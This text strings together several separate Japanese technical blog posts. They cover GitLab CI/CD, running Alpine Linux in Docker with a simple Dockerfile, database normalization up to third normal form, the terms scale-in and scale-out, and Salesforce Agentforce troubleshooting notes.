GitLabのCI/CDの活用について、ご紹介いたしました。
ビルドからテスト、デプロイまでを自動化できるため、開発の効率化や、品質の向上にも繋がる強力なツールです。
メリットばかりと思いますので、まだ活用したことない方は、ぜひ導入を検討してみてはいかがでしょうか。
個人的備忘録：Alpine Linux を「アルペン」（正しくは「アルパイン」）と読んでいたため、試しに Docker で動かしてみた

## はじめに

Alpineという言葉には複数の意味があり、Linuxディストリビューションやメールクライアント、登山に関連するものなどがあります。

:::note info
**本記事では特にAlpine Linuxについて解説し、Dockerを活用した起動方法を紹介します。**
:::

軽量かつセキュアなLinuxとして注目されるAlpine Linuxの特徴や実用的な使い方を詳しく説明します。

## 書こうと思ったきっかけ

ある日、軽量なLinuxディストリビューションについて調べていたところ、「Alpine Linux」という名前を目にしました。

:::note warn
***しかし、私は「アルペン」と読んでしまい、「スキー用品の会社と関係があるのかな？」と勘違いしてしまいました。***
:::

実際には「**アルパイン**」と読むことを知り、その特徴や用途について詳しく調べることにしました。

本記事では、そんな私の勘違いから始まったAlpine Linuxの学習を、Docker環境での利用方法とともに紹介します。

## Alpineとは？

Alpineにはいくつかの意味がありますが、一般的には以下のようなものが考えられます。

## 1. Alpine Linux
Alpine Linuxは、軽量でセキュリティを重視したLinuxディストリビューションです。

### 特徴:
- **軽量**: デフォルトのインストールサイズが小さく（数MB）、組み込みシステムやDocker環境でよく使われる
- **セキュリティ重視**: `musl`（軽量な標準Cライブラリ）と `busybox`（小型なUNIXユーティリティ）を採用
- **パッケージ管理**: `apk`（Alpine Package Keeper）を使用
- **Docker向け**: Docker公式イメージとして提供されており、コンテナ用途で人気

## 2. Alpine（ソフトウェア）
`Alpine` は、軽量なテキストベースのメールクライアントの名前としても使われます。UNIX環境で動作する `pine` の後継として開発されました。

## 3. Alpine（山地・登山関連）
「Alpine（アルパイン）」は英語で「アルプスの」という意味があり、登山や高山地域に関連する文脈でも使われます。

## Dockerfileを使ったAlpine Linuxの起動方法

Dockerfileを使用することで、カスタマイズされたAlpine環境を簡単に作成できます。

### 1. Dockerfileを作成
以下の内容で `Dockerfile` を作成します。

```dockerfile
# ベースイメージにAlpineを指定
FROM alpine:latest

# 必要なパッケージをインストール
RUN apk --no-cache add bash

# 作業ディレクトリを設定
WORKDIR /app

# コンテナ起動時にBashを実行
CMD ["/bin/bash"]
```

### 2. Dockerイメージをビルド
作成した `Dockerfile` を使ってイメージをビルドします。

```sh
docker build -t my-alpine .
```

**実際のターミナル画面**

![Screenshot 2025-02-19 at 8.56.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3662571/51691040-70db-4dc3-b50c-6142d12e2cb5.png)

### 3. コンテナを実行
ビルドしたAlpineイメージを使ってコンテナを起動します。

```sh
docker run -it --rm my-alpine
```

**実際のターミナル画面**

![Screenshot 2025-02-19 at 8.58.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3662571/1f81a700-bb69-48e9-ae04-822be2c0c9f7.png)

#### **解説**
- `docker build -t my-alpine .` → `my-alpine` という名前のDockerイメージを作成
- `docker run -it --rm my-alpine` → インタラクティブモードでコンテナを実行し、終了後に削除

この方法を使うと、カスタマイズしたAlpine環境をDocker経由で簡単に利用できます。

## まとめ
- **Alpine Linux** は、軽量でセキュアなLinuxディストリビューション
- **Dockerfileを使うと、カスタマイズ可能なAlpine環境を構築できる**
- **Dockerを利用すると手軽にAlpineを試せる**

試してみたい方法に応じてセットアップしてみましょう！
データベース設計 ~正規化とは~

# 正規化 とは

正規形とは、データベースで保持するデータの冗長性を排除し、一貫性と効率性を保持するためのデータ形式のことです。
正規形のレベルは第 5 までありますが、通常の業務で使用するレベルとして、第 3 正規形までを考えることが多いため、最初は第 3 正規形までを理解していれば十分です。
また、第 3 正規形まで達成したら、その時点で以降の正規形の条件も満たしていることがほとんどです。

# 非正規形

【非正規形】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/cc9e03b9-4af2-4dc9-a3ca-00b4d687cdc0.png)

非正規形の定義は、「1 つのセルに対して複数の値が含まれてしまっている状態」です。(上記の例でいうと「社員 ID」以降すべて)
これには、主キーが各列の値を一意に決定できないという問題があります。

# 第 1 正規形

非正規形の問題を解消するには、1 つのセルに対して複数の値が含まれてしまっているセルを下記のように複数のレコードに分割して上げる必要があります。
これを**第 1 正規化**と呼びます。

【第 1 正規形】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/ce0c791a-9fb5-4ccd-82ca-400e11e60760.png)

第 1 正規形の定義は、「テーブル内のすべてのセルが単一の値のみを保持している状態」です。

この第 1 正規形にはまだ問題があります。
それは、社員の情報が不明の会社(C 建設)があった場合、主キーの一部に社員 ID が含まれているため、これが不明の状態ではレコードを登録できないということです。

また、会社コードと会社名の対応がレコードによってマチマチになってしまう危険があることです。例えば、{C0001, **A 商事**}というレコードの他に、{C0001, **A 商社**}というデータが登録されてしまうなど…

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/c1114226-88d2-4da2-a673-0c49c194d2a4.png)

# 第 2 正規形

さらに第 1 正規形の問題を解決する必要があるのですが、ここで正規形全体を理解するために重要な概念を説明します。
それが**関数従属性**です。これは「**X 列の値決めれば、Y 列の値が一意に決定する関係**」のことを表し、`{X} → {Y}`のように表現します。

次に、 [第 1 正規形](#第-1-正規形) を見ると、このテーブルの主キーは {会社コード, 社員 ID} ですが、「会社名」列だけは、主キーの一部である「会社コード」に従属しており、`{会社コード} → {会社名}`のような関数従属性があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/6a2059fe-5d44-4660-9736-31e86ba8c97d.png)

このように、主キーの一部の列に対して従属する列がある場合の関係性のことを**部分関数従属**と呼びます。それに対して、主キーを構成するすべての列に対して従属する列がある場合の関係性のことを**完全関数従属**と呼びます。

テーブルを複数に分割することで部分関数従属を解消し、完全関数従属のみになっている状態を作るのを**第 2 正規化**と呼びます。つまり、第 2 正規形の定義は、「テーブルが完全関数従属のみになっている(複合主キーを持つ場合に、非キー属性がその主キーの一部にだけ依存しない)状態」です。

【第 2 正規形】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/014050a5-ed81-42d6-a19e-787fa5931f26.png)

この第 2 正規形にもまだ問題があります。
それは、社員が一人もいない部署があった場合、主キーの一部に社員 ID が含まれているため、レコードを登録できないということです。

# 第 3 正規形

第 2 正規形について、「部署コード」と「部署名」の 2 列の間には、`{部署コード} → {部署名}` という関数従属が成立する一方、「社員 ID」と「部署コード」の間にも`{会社コード, 社員ID} → {部署コード}` という関数従属が存在しています。つまり、全体としては`{会社コード, 社員ID} → {部署コード} → {部署名}` という二段階の関数従属性が存在します。このような従属関係のことを **推移的関数従属** と呼びます。

これを第 2 正規化のときと同じようにテーブル分割し、それぞれの関数従属の関係を独立させます。

【第 3 正規形】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/781974/a2091ea6-77be-41f0-944c-dadb45d81adf.png)

よって第 3 正規形の定義は、「推移的関数従属が解消され、非キー列はキー列に対してのみ従属する状態」です。

# まとめ

- 実務においては、第 3 正規形まで行うべき
- 非正規形の定義は、**1 つのセルに対して、複数の値が含まれている**状態
- 第 1 正規形の定義は、**テーブル内のすべてのセルが単一の値のみを保持している**状態
- 第 2 正規形の定義は、**複合主キーを持つ場合に、非キー属性がその主キーの一部にだけ依存しない**状態(主キーが 1 つの場合は自然と第 2 正規形の条件を満たす)
- 第 3 正規形の定義は、**非キー列はキー列に対してのみ従属する**状態

## 参考書籍

https://www.shoeisha.co.jp/book/detail/9784798186627
スケールインとスケールアウトって逆じゃね？

# 今までの解釈
かねてより情報用語を勉強するたびに思っていましたが、「スケールイン」と「スケールアウト」って直感と逆な気がしていました。

### スケールアウト
サーバの台数を増やすことで、システムの処理性能を上げる

### スケールイン
サーバの台数を減らすことで、システムの処理性能を下げる
(オーバースペックの場合にコストを減らす目的)

# 直感的な解釈
使うサーバを増やす=サーバ室に新しいサーバを入れる→「イン」では？

使うサーバを減らす=サーバ室からサーバを撤去する→「アウト」では？

と思っていたわけです。

# 新しい解釈

「スケール」が指す意味を以下の赤枠と捉えました。
それなら「イン」することでサーバが減り、「アウト」することでサーバが増えると解釈できますね。

![IMG_2475.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3920588/a18664f8-cdf6-4884-bbfd-27084f3d195c.jpeg)


# 結論
逆の方がわかりやすくね
エージェントアクション:レコードのクエリ (ベータ)



+ [【ヘルプ】エージェントアクション:レコードのクエリ (ベータ)](https://help.salesforce.com/s/articleView?id=ai.copilot_actions_ref_query_records.htm&type=5)
+ [【未解決】Getting error in the newly created partner SDO org with agentforce not working](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX000000TmYW0A0)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/731378f0-7ecc-489e-8dd8-073a9dae9182.png)
Aura,LWCのカスタムCSSの例


+ [必須項目の「アスタリスク」マークを隠す](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX000000TeYE) 

:::note
この部分の記載を行うことで、アスタリスクマークが無くなりました。

```
variant="label-hidden"
```

:::
Agent builder UIの問題



+ [Create a Check-in Agentforce Action](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX000000TlzI0AS)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/4a3345e6-7653-4cfc-b0eb-da1ce4ee5d15.png)

:::note
そして助けました。私はなんとか解決しましたが、それは私の間違いでした 


クイック検索の下に 
エージェントアクションとエージェント

エージェントアクションを選択するはずだったが、エージェントを選択したため、次のステップが表示されませんでした 
:::

+ [Unable to see the option to select type after clicking new agent](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX000000TpSx0AK)
+ [Not able to create New Agent from Agent builder](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX00000KDqzh0AD)


# Action

+ [Unable to see the inputs and output section while I am creating an agent action](https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX00000PZpNI0A1)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/79508316-10c5-4fea-81f2-9871f9824758.png)


:::note
To see Inputs and Outputs in Agent Action for a Flow, make sure your Flow is

Autolaunched and activated
. 

Create variables in the Flow and mark them as

“Available for input” or “Available for output”
as needed. 

Only then will those variables show up in the Agent Action’s Inputs and Outputs section.  

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/73a48b10-2252-46c4-997d-c9b6e93b19eb.png)

:::